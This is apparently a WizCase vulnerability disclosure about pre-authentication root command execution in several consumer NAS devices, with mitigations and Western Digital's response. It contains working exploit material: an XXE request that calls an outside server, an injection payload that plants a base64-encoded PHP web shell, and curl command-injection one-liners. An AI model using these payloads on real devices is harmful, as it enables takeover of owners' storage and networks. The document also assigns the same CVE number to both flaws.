Security researchers from WizCase have discovered several vulnerabilities in WD My Book, NetGear Stora, SeaGate Home, Medion LifeCloud NAS.
NAS devices have become the storage device of choice for many small and medium businesses (SMB). They are inexpensive, easy to operate, and you can add additional storage if you’re running low on space. But is it secure enough to protect your companies data? That was the question in our mind when we brought security researchers Paulos Yibelo and Daniel Eshetu to see if they could exploit any vulnerabilities in the leading NAS devices.
We focused on discovering only critical vulnerabilities that can be exploited remotely without any user interaction. Meaning, authentication bypasses weren’t enough. We wanted to execute commands on the devices remotely with the highest privileges. We were successful, in all the devices.
Summary of Our Findings
We used four popular NAS devices for this project
- WD My Book,
- NetGear Stora
- SeaGate Home
- Medion LifeCloud NAS
We successfully gained root remote command execution in the devices, and therefore the network they are on, simply by knowing their IP addresses.
- All four NAS devices tested suffer from a zero-day unauthenticated root remote command execution (preauth RCE) vulnerabilities.
- The vulnerabilities allow hackers, governments, or anyone with malicious intention to read files, add/remove users, add/modify existing data, or execute commands with highest privileges on all of the devices.
- It is our belief that there are many other NAS devices that suffer from similar vulnerabilities as there seems to be a missing pattern of expected from NAS devices.
- Both the vulnerabilities (dubbed CVE-2018-18472 and CVE-2018-18471) remain unpatched at the time of this publication.
- There are nearly 2 million affected devices online
CVE-2018-18472 – XXE and Unauthenticated Remote Command Execution in Axentra Hipserv NAS firmware.
Axentra Hipserv is a NAS OS that runs on multiple devices and provides cloud-based login and file storage and management functionalities for different devices. It’s used in different devices from different vendors, the affected devices sharing the firmware are:
- Netgear Stora
- Seagate GoFlex Home
- Medion LifeCloud (maybe more).
The company provides a firmware with a web interface that mainly uses PHP as a serverside language. The web interface has a REST API endpoint and a typical web management interface with a file manager support.
Firmware Analysis.
After extracting the firmware and decoding the files, the php files were located in /var/www/html/ with the webroot in /var/www/html/html. The main handler for the web interface is homebase.php and RESTAPIController.php is the main handler for the rest API. All the php files were encrypted using IONCube which has a known public decoder and given the version used was an old one, decoding the files didn’t take long.
Part One: XXE
After decoding the files, most of the API endpoints and the web interface were not accessible without authentication. One of the few exceptions to this were a few endpoints in the REST API interface. One of those endpoints is located at /api/2.0/rest/aggregator/xml which loads xml data from POST data, although it uses DOMDocument for loading (parsing) the xml which should not be vulnerable to XXE attacks.
The version of libxml2 used as a backend in the firmware is an old one. This means that the external entity loading was not disabled by default. which opened the endpoint to exploitation. Through this it was possible to read files and perform SSRF attacks. An example request is given below
POST /api/2.0/rest/aggregator/xml HTTP/1.1
Host: 192.168.10.21
User-Agent: GoogleBot/2.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
Cookie: HOMEBASEID=c4be432f8add72db591aaa72c0fbbd34
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version=”1.0″?>
<!DOCTYPE requests [
<!ELEMENT request (#PCDATA)>
<!ENTITY % dtd SYSTEM “http://192.168.10.20/XXE_CHECK”>
%dtd;
]>
<requests>
<request href=”/api/2.0/rest/3rdparty/facebook/” method=”GET”></request>
</requests>
The above request caused the xml parser to make a request to our server at 192.168.56.1 for the file XXE_CHECK. Although LFI was interesting to grab some sensitive files since XML can’t handle binary data it was not possible to dump the SQLite database to get usernames and passwords.
That meant we are able to read files and make SSRF requests in any of the below devices.
- Netgear Stora
- Seagate GoFlex Home
- Medion LifeCloud
Part Two: RCE
Looking at how the web interface (REST API in particular) performed root actions was the next step. Since the web server runs as a non-root user and it had no sudo rights then it was found that the REST API makes calls to a local daemon named oe-spd, which runs on port 2000 bound to 127.0.0.1.
The daemon takes XML data, parses the request and carries out the action without any authentication, except making sure the request came from 127.0.0.1. What’s more, the daemon skips over junk data until it finds the string <?xml version=”1.0″?> as shown in the IDA snippet below.
strstr(*input_data, “<?xml version=\”1.0\”?>”);
This made things a lot easier since the request is going to be sent using the HTTP protocol, skipping over junk data (according to the daemon) was a real help. But, since we can’t directly put the URL in the xml file we make the xml parser send a request to a php script (or anything that does the redirection really) that redirects it to http://127.0.0.1:2000/a.php?d=*payload here*.
Since the daemon is choke full of command execution bugs, it was easy to craft a request that triggered one. Additionally, since the daemon runs with root privileges it’s possible to perform any action on the device. An example payload is given below.
* This payload uploads a simple php shell /var/www/html/html/u.php (<device-ip>/u.php?cmd=id).
<?xml version=”1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=”disk”>a`echo PD9waHAKZWNobyAnPHByZT4nOwpzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKZWNobyAnPC9wcmU+JzsKPz4K | base64 -d >/var/www/html/html/u.php`</parameter></proxy_request>
Putting it all together.
To chain the vulnerabilities seamlessly we need a server the device can make an outbound connection to and the following simple PHP script to redirect the parser to send the payload and handle a little multi-staging of payloads.
CVE-2018-18472 –WD MyBook Live Unauthenticated Remote Command Execution
WD MyBook Live and some models of WD MyCloud NAS contain a remotely exploitable vulnerability that lets anyone run commands on the device as root. The vulnerability exists in the language change and modifies functionality in the REST API, the following PoC demonstrates this flaw.
PoC:
curl –kX PUT -d ‘language=en_US`<linx Command Here>`’ https://<NAS_IP>/api/1.0/rest/language_configuration
Examples:
curl –kX PUT -d ‘language=en_US`id > /var/www/id.txt`’ https://<NAS_IP>/api/1.0/rest/language_configuration
The poc will create a id.txt file in the webroot containing the output of the ID command. The file can be removed using the following PoC
curl -kX PUT -d ‘language=en_US`rm -rf /var/www/id.txt`’ https://<NAS_IP>/api/1.0/rest/language_configuration
What does this mean to the affected NAS users?
- If you are using one of the above devices and they are connected on the WAN, make sure to remove your device from the internet. (Make sure they are running only locally in safe network)
- Make sure to contact the affected vendors and insist they release a patch as soon possible!
- We will update this article as a patch becomes available.
- We also recommend you use a VPN to protect your computers and mobile devices from hackers. ExpressVPN and NordVPN both use AES 256-bit encryption and will secure all your data. (This won’t protect from an NAS attack, but it will protect you from other cyber attacks)
The original report is available here.
Responses
WD:
The vulnerability report CVE-2018-18472 affects My Book Live devices originally introduced to the market between 2010 and 2012. These products have been discontinued since 2014 and are no longer covered under our device software support lifecycle. We encourage users who wish to continue operating these legacy products to configure their firewall to prevent remote access to these devices and to take measures to ensure that only trusted devices on the local network have access to the device.
Source:
Stay connected